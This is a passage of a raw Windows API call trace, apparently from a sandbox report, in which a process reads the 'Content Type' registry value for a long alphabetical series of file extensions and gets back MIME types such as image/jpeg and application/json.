lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.657] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.658] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".htw", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.658] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.658] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.658] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".htx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.659] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.659] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.659] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".hxx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.659] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.660] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.660] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".i", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.660] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.660] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.660] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ibq", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.661] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.661] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.661] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".icc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.661] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.662] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.662] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".icl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.663] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.663] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.663] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".icm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.663] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.664] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.664] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ico", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.664] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/x-icon", lpcbData=0xc0006b98fc*=0x1a) returned 0x0 [0182.664] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.665] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ics", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.665] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.665] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.665] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".idl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.666] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.666] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.666] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".idq", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.666] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.666] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.667] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".iiq", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.667] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/IIQ", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.667] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.668] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ilk", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.668] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.668] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.668] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".imc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.668] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.669] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.669] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".imesx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.669] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.669] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.673] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".img", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.673] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.674] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.674] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".inc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.674] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.674] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.674] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".inf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.675] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.675] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.675] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ini", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.675] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.676] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.676] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".inl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.676] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.676] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.677] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".inv", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.677] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.677] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.678] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".inx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.678] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.678] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.679] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".in_", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.679] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.679] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.679] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".iso", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.680] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.680] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.680] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".IVF", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.680] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.681] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.681] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jar", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.681] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.681] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.682] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jav", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.682] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.682] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.682] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".java", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.683] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.683] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.683] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jbf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.683] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.684] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.684] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jfif", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.684] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/jpeg", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.684] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.685] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jnlp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.685] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-java-jnlp-file", lpcbData=0xc0006b98fc*=0x3a) returned 0x0 [0182.685] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.685] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".Job", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.686] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.686] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.686] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jod", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.686] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.686] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.687] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jpe", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.687] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/jpeg", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.687] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.687] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jpeg", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.688] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/jpeg", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.688] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.688] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jpg", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.688] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/jpeg", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.689] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.689] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".js", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.689] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.689] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.689] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".JSE", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.690] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.690] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.690] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".json", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.690] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/json", lpcbData=0xc0006b98fc*=0x22) returned 0x0 [0182.691] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.691] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jxr", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.691] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/vnd.ms-photo", lpcbData=0xc0006b98fc*=0x26) returned 0x0 [0182.691] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.692] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".k25", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.692] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/K25", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.692] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.692] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".kci", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.694] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.694] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.694] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".kdc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.694] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/KDC", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.695] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.695] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".label", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.695] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.696] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.696] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".latex", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.696] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-latex", lpcbData=0xc0006b98fc*=0x28) returned 0x0 [0182.696] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.696] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".lgn", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.697] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.697] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.697] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".lib", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.697] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.698] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.698] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".library-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.698] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/windows-library+xml", lpcbData=0xc0006b98fc*=0x40) returned 0x0 [0182.698] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.699] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".lnk", ulOptions=0x0, samDesired=0x20019, 